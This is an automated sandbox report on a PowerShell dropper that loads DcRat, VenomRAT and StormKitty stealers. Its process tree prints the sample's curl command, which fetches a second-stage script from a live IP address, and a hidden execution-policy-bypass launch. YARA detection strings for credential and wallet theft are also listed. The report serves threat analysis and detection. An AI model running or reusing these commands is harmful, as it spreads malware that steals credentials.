Edit tour

Windows Analysis Report
sfqbr.ps1

Overview

General Information

Sample name:	sfqbr.ps1
Analysis ID:	1585139
MD5:	524fca1eea0f55f1ad6281325664dcb4
SHA1:	fa39a3bb823909c0294804a32303378ac25e0492
SHA256:	b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff
Tags:	ps1user-zhuzhu0009
Infos:

Detection

DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected BrowserPasswordDump

Yara detected DcRat

Yara detected Keylogger Generic

Yara detected Powershell decode and execute

Yara detected Powershell download and execute

Yara detected StormKitty Stealer

Yara detected Strela Stealer

Yara detected VenomRAT

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Bypasses PowerShell execution policy

Compiles code for process injection (via .Net compiler)

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powerup Write Hijack DLL

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 4980 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5748 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6260 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

curl.exe (PID: 6684 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1 MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

powershell.exe (PID: 4016 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -" MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 4340 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 3212 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES617A.tmp" "c:\Users\user\AppData\Local\Temp\nfy3200k\CSCAAE263D2780F40D49B69A6171B4A2D61.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

RegAsm.exe (PID: 4508 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, 404KeyLogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sfqbr.ps1	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2c8b2b:$a1: havecamera 0x31b166:$a2: timeout 3 > NUL 0x31e96d:$a3: START "" " 0x31eec8:$a3: START "" " 0x31eda3:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x31ee40:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x31a94a:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x316568:$s6: VirtualBox 0x328a3d:$s6: VirtualBox 0x323438:$s8: Win32_ComputerSystem 0x3289a3:$s8: Win32_ComputerSystem 0x31f846:$s9: Win32_Process Where ParentProcessID= 0x31f3d1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x31f615:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x31f6fd:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.4582340011.0000000003204000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x173868:$a1: havecamera 0x1be692:$a2: timeout 3 > NUL 0x1c1a15:$a3: START "" " 0x1c1f2a:$a3: START "" " 0x1c1e05:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1c1ea2:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1c5c66:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1bdf02:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x1ba076:$s6: VirtualBox 0x1c9bf5:$s6: VirtualBox 0x1c5612:$s8: Win32_ComputerSystem 0x1c9b5b:$s8: Win32_ComputerSystem 0x1c273e:$s9: Win32_Process Where ParentProcessID= 0x1c235b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1c23f8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1c250d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1c25f5:$cnc4: POST / HTTP/1.1
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241208:$a1: havecamera 0x28c032:$a2: timeout 3 > NUL 0x28f3b5:$a3: START "" " 0x28f8ca:$a3: START "" " 0x28f7a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f842:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293606:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b8a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287a16:$s6: VirtualBox 0x297595:$s6: VirtualBox 0x292fb2:$s8: Win32_ComputerSystem 0x2974fb:$s8: Win32_ComputerSystem 0x2900de:$s9: Win32_Process Where ParentProcessID= 0x28fcfb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fead:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff95:$cnc4: POST / HTTP/1.1
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2418a0:$a1: havecamera 0x53f2d8:$a1: havecamera 0x28c6ca:$a2: timeout 3 > NUL 0x58a102:$a2: timeout 3 > NUL 0x28fa4d:$a3: START "" " 0x28ff62:$a3: START "" " 0x58d485:$a3: START "" " 0x58d99a:$a3: START "" " 0x28fe3d:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d875:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28feda:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d912:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293c9e:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x5916d6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28bf3a:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x589972:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2880ae:$s6: VirtualBox 0x297c2d:$s6: VirtualBox 0x585ae6:$s6: VirtualBox 0x595665:$s6: VirtualBox 0x29364a:$s8: Win32_ComputerSystem 0x297b93:$s8: Win32_ComputerSystem 0x591082:$s8: Win32_ComputerSystem 0x5955cb:$s8: Win32_ComputerSystem 0x290776:$s9: Win32_Process Where ParentProcessID= 0x58e1ae:$s9: Win32_Process Where ParentProcessID= 0x290393:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58ddcb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290430:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58de68:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x290545:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58df7d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x29062d:$cnc4: POST / HTTP/1.1 0x58e065:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 4980	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1814a:$b2: ::FromBase64String( 0x1a62a:$b3: ::UTF8.GetString( 0x37294:$s1: -join 0x372cf:$s1: -join 0x37389:$s1: -join 0x373b7:$s1: -join 0x3755c:$s1: -join 0x3757f:$s1: -join 0x37832:$s1: -join 0x37853:$s1: -join 0x37885:$s1: -join 0x378cd:$s1: -join 0x378fa:$s1: -join 0x37921:$s1: -join 0x3794c:$s1: -join 0x37968:$s1: -join 0x379d1:$s1: -join 0x37e57:$s1: -join 0x37e79:$s1: -join 0x37ed1:$s1: -join 0x37efb:$s1: -join
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_Keylogger_Generic_1	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 4016	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 4016	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x45c7d:$b2: ::FromBase64String( 0xb6f57:$b2: ::FromBase64String( 0xc946e:$b2: ::FromBase64String( 0x128d5e:$b2: ::FromBase64String( 0x12920a:$b2: ::FromBase64String( 0x1298ff:$b2: ::FromBase64String( 0x129ff0:$b2: ::FromBase64String( 0x12d0c7:$b2: ::FromBase64String( 0x45f069:$b2: ::FromBase64String( 0x494ac:$b3: ::UTF8.GetString( 0xb9e72:$b3: ::UTF8.GetString( 0xbede3:$b3: ::UTF8.GetString( 0xd0b8e:$b3: ::UTF8.GetString( 0xd108d:$b3: ::UTF8.GetString( 0xd1421:$b3: ::UTF8.GetString( 0x461f84:$b3: ::UTF8.GetString( 0x150a2:$s1: -join 0x15802:$s1: -join 0x3cdb2:$s1: -join 0x8d53d:$s1: -join 0x8d578:$s1: -join
Process Memory Space: powershell.exe PID: 4016	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x20100a:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x3dc815:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 4016	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1a4dbe:$s6: VirtualBox 0x3805c9:$s6: VirtualBox 0x200ce0:$s8: Win32_ComputerSystem 0x202efd:$s8: Win32_ComputerSystem 0x3dc4eb:$s8: Win32_ComputerSystem 0x3de708:$s8: Win32_ComputerSystem 0x46b2cf:$s8: Win32_ComputerSystem 0x46b52a:$s8: Win32_ComputerSystem 0x46fcdd:$s8: Win32_ComputerSystem 0x46fd7a:$s8: Win32_ComputerSystem 0x1ff636:$s9: Win32_Process Where ParentProcessID= 0x3dae41:$s9: Win32_Process Where ParentProcessID= 0x1ff449:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x3dac54:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1ff497:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3daca2:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1ff521:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3dad2c:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1ff595:$cnc4: POST / HTTP/1.1 0x3dada0:$cnc4: POST / HTTP/1.1
Process Memory Space: RegAsm.exe PID: 4508	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 4508	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: RegAsm.exe PID: 4508	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 4508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 4508	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: RegAsm.exe PID: 4508	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: RegAsm.exe PID: 4508	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 4508	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x112248:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: RegAsm.exe PID: 4508	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb5ffc:$s6: VirtualBox 0x98ce:$s8: Win32_ComputerSystem 0x10bdf:$s8: Win32_ComputerSystem 0x10c9f:$s8: Win32_ComputerSystem 0x270ee:$s8: Win32_ComputerSystem 0x271b5:$s8: Win32_ComputerSystem 0x27ef7:$s8: Win32_ComputerSystem 0x2818c:$s8: Win32_ComputerSystem 0x3a8e1:$s8: Win32_ComputerSystem 0x45738:$s8: Win32_ComputerSystem 0x49d05:$s8: Win32_ComputerSystem 0x49d6d:$s8: Win32_ComputerSystem 0x4a3d9:$s8: Win32_ComputerSystem 0x4a5e9:$s8: Win32_ComputerSystem 0x4ae37:$s8: Win32_ComputerSystem 0x4af7d:$s8: Win32_ComputerSystem 0x4c0ee:$s8: Win32_ComputerSystem 0x4c8b3:$s8: Win32_ComputerSystem 0x4c90f:$s8: Win32_ComputerSystem 0x4d1dc:$s8: Win32_ComputerSystem 0x111f1e:$s8: Win32_ComputerSystem
Click to see the 41 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.powershell.exe.29dddb68eb8.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
5.2.powershell.exe.29ddc0bc858.2.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
5.2.powershell.exe.29dddb632e0.3.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x61a0:$x2: https://github.com/LimerBoy/StormKitty 0x61bc:$x3: StormKitty
5.2.powershell.exe.29ddc077076.0.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x45daa:$x2: https://github.com/LimerBoy/StormKitty 0x45dc6:$x3: StormKitty
5.2.powershell.exe.29ddc07a518.7.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x42908:$x2: https://github.com/LimerBoy/StormKitty 0x42924:$x3: StormKitty
5.2.powershell.exe.29dddab6a18.6.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0xb2a68:$x2: https://github.com/LimerBoy/StormKitty 0xb2a84:$x3: StormKitty
5.2.powershell.exe.29dddaa185e.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0xc5e22:$x2: https://github.com/LimerBoy/StormKitty 0xc5e3e:$x3: StormKitty
5.2.powershell.exe.29dec589c5a.10.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.29dec589c5a.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.29dec589c5a.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.29dec589c5a.10.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.29dec589c5a.10.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.29dec589c5a.10.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.29dec589c5a.10.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
5.2.powershell.exe.29dec589c5a.10.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
